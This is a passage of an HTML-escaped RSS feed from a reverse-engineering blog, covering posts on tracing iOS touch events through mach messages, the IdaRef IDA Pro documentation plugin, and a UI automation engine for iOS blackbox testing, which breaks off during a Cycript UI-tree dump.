&lt;p&gt;This takes up 24 bytes of the message. Next is the header for &lt;a href=&quot;https://github.com/opensource-apple/CF/blob/master/CFMessagePort.c&quot;&gt;__CFMessagePortMachMessage&lt;/a&gt; which comes with a nice magic four byte marker - 0xF0F2F4F8 - to help us identify the message.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__CFMessagePortMachMessage&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;mach_msg_base_t&lt;/span&gt;           &lt;span class=&quot;n&quot;&gt;base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;mach_msg_ool_descriptor_t&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;ool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;innards&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;int32_t&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;magic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;int32_t&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;msgid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;int32_t&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;convid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;int32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;byteslen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;innards&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After that, the bytes are just the message generated by the touch library. That message is 16 bytes:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;       &lt;span class=&quot;c1&quot;&gt;// STTouchType values (Up, down, move, etc)
&lt;/span&gt;    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;// pathIndex holder in message
&lt;/span&gt;    &lt;span class=&quot;kt&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;point_x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// X coordinate
&lt;/span&gt;    &lt;span class=&quot;kt&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;point_y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Y coordinate
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;All said and done, the entire message sent via &lt;code class=&quot;highlighter-rouge&quot;&gt;mach_msg&lt;/code&gt; is 76 bytes long. Once parsed the message looks something like this:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'_payload'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'ool_address'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'ool_bytes'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0000000000000000&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'ool_copy'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'ool_deallocate'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'ool_pad&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'ool_size'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'ool_type'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'inards_byteslen'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'inards_convid'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'inards_magic'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xf&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'inards_msgid'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'index'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
                  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'point_x'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;312.5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
                  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'point_y'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;551.5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
                  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'type'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'msgh_bits'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5395&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'msgh_id'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'msgh_local_port'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xc&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;b'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'msgh_remote_port'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;b'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'msgh_reserved'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'msgh_size'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;76&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see the coordinates and the type of touch are clearly visible and traceable. This is what I used to confirm that my touch events were sent as expected to the server side - &lt;code class=&quot;highlighter-rouge&quot;&gt;backboardd&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;related-tools&quot;&gt;Related tools&lt;/h2&gt;
&lt;p&gt;LLDB is quite a heavy tool. I chose it because I wanted minimal intrusion into the client process. However, as we saw earlier, with breakpointing on the &lt;code class=&quot;highlighter-rouge&quot;&gt;bootstrap_look_up3&lt;/code&gt;, that is not entirely the case. There are other tools available to the reader. One can build a MobileSubstrate injectable library and hook on all those function using the method I previously described in &lt;a href=&quot;http://debugtrap.com/2016/02/28/ARM64-method-tracing/&quot;&gt;Tracing Objective-C method calls&lt;/a&gt; post.&lt;/p&gt;

&lt;p&gt;It’s hard to talk about function tracing without mentioning &lt;a href=&quot;http://www.frida.re/&quot;&gt;Frida&lt;/a&gt;. It is an excellent tool for dynamic analysis. It can enable the user to hook all the required functions. I decided not to use it because, like the first alternative method I mentioned, Frida will modify the binary in memory to implement the hooks. These hooks could potentially clash with the &lt;code class=&quot;highlighter-rouge&quot;&gt;RocketBootstrap&lt;/code&gt; library and anything else that modifies the binary dynamically. Also, for some reason, I could not get it to reliably hook the &lt;code class=&quot;highlighter-rouge&quot;&gt;mach_msg&lt;/code&gt; function for me - maybe a post for the future.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Debugging is a bit of an art form which can send you down very deep and sometimes interesting rabbit holes. In this case I followed the rabbit hole to the bottom because I thought the outcome will be a good learning experience and the output will be useful in the future.&lt;/p&gt;

&lt;p&gt;Debugging is an art form because one cannot see everything they want to see and the tools used for inspection are themselves faulty. So, it takes experience and good intuition to know what to look for and how to interpret the view. Much of the process is just validating the data flow, reassuring yourself that parts are working correctly. It is the hope that in that process one can learn more about the target which will help to narrow down on the problem. Here, I show my process for a specific use case and provide the tools to build upon or learn from.&lt;/p&gt;

&lt;hr /&gt;

</description>
        <pubDate>Tue, 23 Aug 2016 00:00:00 +0000</pubDate>
        <link>http://debugtrap.com/2016/08/23/lost-touch/</link>
        <guid isPermaLink="true">http://debugtrap.com/2016/08/23/lost-touch/</guid>
      </item>
     
    
     
      <item>
        <title>A little something for your reversing habits.</title>
        <description>&lt;p&gt;I’m a big fan of binary reverse engineering. I think it’s a unique skill to have and it creates an interesting way of thinking. The way of thinking that forces you to figure out how things work, even if you’re trying to enjoy some iced tea on the beach. Most of my reversing life has been spent on either x86_64 or ARM64 architectures. I would even go as far as to claim that I know those instruction sets well. However, every now and then I come across a strange looking instruction - like &lt;code class=&quot;highlighter-rouge&quot;&gt;UNPCKLPS&lt;/code&gt;, I have to break my flow open the Intel Reference manual and look up the instruction’s meaning. Same for when I’m trying to understand semantics of a very common instruction. For example, &lt;code class=&quot;highlighter-rouge&quot;&gt;SUB&lt;/code&gt; can be used atomically if it has the LOCK prefix set - not a detail that comes up often.&lt;/p&gt;

&lt;p&gt;A reverse engineer quickly learns to maintain their &lt;a href=&quot;https://en.wikipedia.org/wiki/Flow_(psychology)&quot;&gt;flow&lt;/a&gt; at all costs. Breaking the flow means that the mental representation of the problem breaks down into swiss cheese and makes it ever more difficult to comeback to everything you understood before the break. If you are using IDAPro and you have to break your flow in order to search some PDF document, then that makes life ever more difficult. And so, I built a plugin for IDAPro that removes this problem. It is called &lt;a href=&quot;https://github.com/nologic/idaref&quot;&gt;IdaRef&lt;/a&gt;. What it does is bring the complete instruction set documentation into the IDAPro environment.&lt;/p&gt;

&lt;center&gt;&lt;iframe width=&quot;420&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/frdVz5yITr0&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;&lt;/center&gt;

&lt;p&gt;Now, IDAPro already provides an &lt;em&gt;auto comments&lt;/em&gt; feature. It’s fine, but the feature is a mere translation of the mnemonic into English text. I wanted more. Actually, I got my inspiration from the &lt;a href=&quot;http://www.felixcloutier.com/x86/&quot;&gt;x86doc&lt;/a&gt; which popped up on &lt;a href=&quot;https://www.reddit.com/r/netsec&quot;&gt;/r/netsec&lt;/a&gt; some time ago. My desire to have full documentation got me thinking: why I can’t I use the same method of parsing the reference manual to integrate it into IDAPro. I wanted not just a re-interpretation, but the original content from the authoritative source.&lt;/p&gt;

&lt;p&gt;Releasing IdaRef to the public produced some resonance in the community and several people really liked it. Since that time, I cleaned it up a little more, made it more responsive and even received some nice words from the IDAPro plugin &lt;a href=&quot;https://www.hex-rays.com/contests/2015/index.shtml&quot;&gt;competition&lt;/a&gt; (although no prize).&lt;/p&gt;

&lt;p&gt;The best part, about releasing to the public, is what the open source community is good at. Several people stepped up and contributed to the plugin and the concept. Chris Czub created a port for Hopper called &lt;a href=&quot;https://github.com/zbuc/hopperref&quot;&gt;HopperRef&lt;/a&gt;, &lt;a href=&quot;https://github.com/sven337&quot;&gt;Sven337&lt;/a&gt; added support for &lt;a href=&quot;http://www.linux-xtensa.org/&quot;&gt;xtensa&lt;/a&gt; &lt;a href=&quot;http://0x04.net/~mwk/doc/xtensa.pdf&quot;&gt;architecture&lt;/a&gt; and &lt;a href=&quot;https://github.com/mrexodia&quot;&gt;Duncan Ogilvie&lt;/a&gt; ported it to the &lt;a href=&quot;https://github.com/x64dbg/idaref&quot;&gt;x64dbg&lt;/a&gt; project. This sort of activity is extremely encouraging for continuing to develop tools that help us do good things. I would like to encourage more people to contribute, particularly more SQL files for supporting more architectures. Generating clean ASCII documentation files is not a trivial task but the result can be used in many different places.&lt;/p&gt;

&lt;p&gt;Recently, I developed an open source technique for &lt;a href=&quot;http://debugtrap.com/2016/02/28/ARM64-method-tracing/&quot;&gt;hooking ARM64 functions&lt;/a&gt; on Objective-C applications. It was meant specifically for tracing Objective-C method calls because the technique hooked the &lt;code class=&quot;highlighter-rouge&quot;&gt;objc_msgSend&lt;/code&gt; function. There is one piece of the mechanism that was very tricky. It was to modify the branch instructions at runtime to recalculated addresses.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../../images/idaref_screenshot.png&quot; alt=&quot;&quot; title=&quot;Check out the Branch instruction&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In order to accurately parse and understand the branch instructions, I reversed a few binaries to look at them. I also opened the Objective-C runtime to see the implementation of &lt;code class=&quot;highlighter-rouge&quot;&gt;objc_msgSend&lt;/code&gt; function and check exactly which branch instructions were used. It turned out that the PDF to ASCII translation was good enough that I could use the instruction bit placement documentation (as you see in the image above) to write the bit field structs accurately in the hooking implementation.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Enjoy your reversing experience and I hope that IdaRef will help you get more proficient and faster with your art!&lt;/em&gt;&lt;/p&gt;

</description>
        <pubDate>Sat, 18 Jun 2016 00:00:00 +0000</pubDate>
        <link>http://debugtrap.com/2016/06/18/idaref/</link>
        <guid isPermaLink="true">http://debugtrap.com/2016/06/18/idaref/</guid>
      </item>
     
    
     
      <item>
        <title>Automating the UI for blackbox testing</title>
        <description>&lt;p&gt;During blackbox security testing, it is often the case that you need to explore the application. Mostly to understand what it does and what sort of interactions it has with the outside world. It is also a good way to determine what code a user might end up exercising during their use of the application. In case of iOS, most of the App activity will be user triggered and the other parts will be things like polling of the web api for changes. Either way, the App’s activity and any potential vulnerabilities are largely triggered by the user.&lt;/p&gt;

&lt;p&gt;In this post I introduce &lt;strong&gt;CHAOTICMARCH&lt;/strong&gt; (CM), an engine for driving the UI while doing blackbox testing of an iOS App. CM is a scriptable engine that comes with some basic scripts to locate and trigger buttons. It gives the researcher the freedom to define their own logic for however they wish to perform the test.&lt;/p&gt;

&lt;p&gt;I would like to encourage researchers to develop and submit their own logic, so that the community could have a knowledge base for general and specific testing of iOS Apps. Together, we could truly build up an amazing set of automated tests that would be transferable between versions or even applications. A large base would enable us to track changes and keep tests as thorough as possible.&lt;/p&gt;

&lt;p&gt;The source code and the user manual is located at the &lt;a href=&quot;https://github.com/synack/chaoticmarch&quot;&gt;CHAOTICMARCH&lt;/a&gt; GitHub repository. The code is, of course, still in very early stages, but it is very stable and will be extended in the near future. Also we can utilize &lt;a href=&quot;https://github.com/nologic/objc_trace&quot;&gt;objc_trace&lt;/a&gt; (or similar) tool to gather code coverage information. &lt;em&gt;objc_trace&lt;/em&gt; records the Objective-C functions that have been executed, similar to the functionality of &lt;em&gt;ltrace&lt;/em&gt;.&lt;/p&gt;

&lt;h2 id=&quot;ios-ui-constructs&quot;&gt;iOS UI Constructs&lt;/h2&gt;

&lt;p&gt;At the low levels, the UI on iOS is actually quite simple. Basically all of the components stem from the &lt;code class=&quot;highlighter-rouge&quot;&gt;UIView&lt;/code&gt; base class and are organized as a tree rooted at &lt;code class=&quot;highlighter-rouge&quot;&gt;UIApp.keyWindow&lt;/code&gt;. To access the children you would use the &lt;code class=&quot;highlighter-rouge&quot;&gt;subviews&lt;/code&gt; array available at each component:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;cy&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;UIApp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;keyWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;subviews&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;@[&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;UIView: 0x14552a690; frame = (0 0; 320 568); autoresize = W+H; 
  layer = &amp;lt;CALayer: 0x174037d80&amp;gt;&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;err&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;UIView: 0x145699a50; frame = (39.5 327.5; 40 40); 
  clipsToBounds = YES; alpha = 0; layer = &amp;lt;CALayer: 0x17022eb20&amp;gt;&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is the abstract representation which is then used to draw components on the screen. You can also list the entire UI tree for examination by using &lt;a href=&quot;http://www.cycript.org/&quot;&gt;Cycript&lt;/a&gt;. Cycript is a scriptable inspection tool that lets users analyzer the internal state of the App. It can be installed using the Cydia appstore. This appstore is installed by any of the popular Chinese jailbreaks. &lt;a href=&quot;http://pangu.io/&quot;&gt;Pangu&lt;/a&gt; or &lt;a href=&quot;http://www.taig.com/en/&quot;&gt;Taig&lt;/a&gt; are the current front runners. The UI tree we will be dealing with looks like this:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;cy&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;UIApp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;keyWindow&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;recursiveDescription&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;UIWindow: 0x1456209f0; frame = (0 0; 320 568); gestureRecognizers = &amp;lt;NSArray: 0x170053560&amp;gt;; layer = &amp;lt;UIWindowLayer: 0x170033de0&amp;gt;&amp;gt;
   | &amp;lt;UIView: 0x14552a690; frame = (0 0; 320 568); autoresize = W+H; layer = &amp;lt;CALayer: 0x174037d80&amp;gt;&amp;gt;
   |    | &amp;lt;_UILayoutGuide: 0x14553cdf0; frame = (0 0; 0 20); hidden = YES; layer = &amp;lt;CALayer: 0x17403fac0&amp;gt;&amp;gt;
   |    | &amp;lt;_UILayoutGuide: 0x14553d280; frame = (0 568; 0 0); hidden = YES; layer = &amp;lt;CALayer: 0x17422ac60&amp;gt;&amp;gt;
   |    | &amp;lt;UITableView: 0x145858e00; frame = (0 0; 320 568); clipsToBounds = YES; opaque = NO; autoresize = W+H; gestureRecognizers = &amp;lt;NSArray: 0x170241500&amp;gt;; layer = &amp;lt;CALayer: 0x17003df20&amp;gt;; contentOffset: {0, 0}; contentSize: {320, 867.5}&amp;gt;
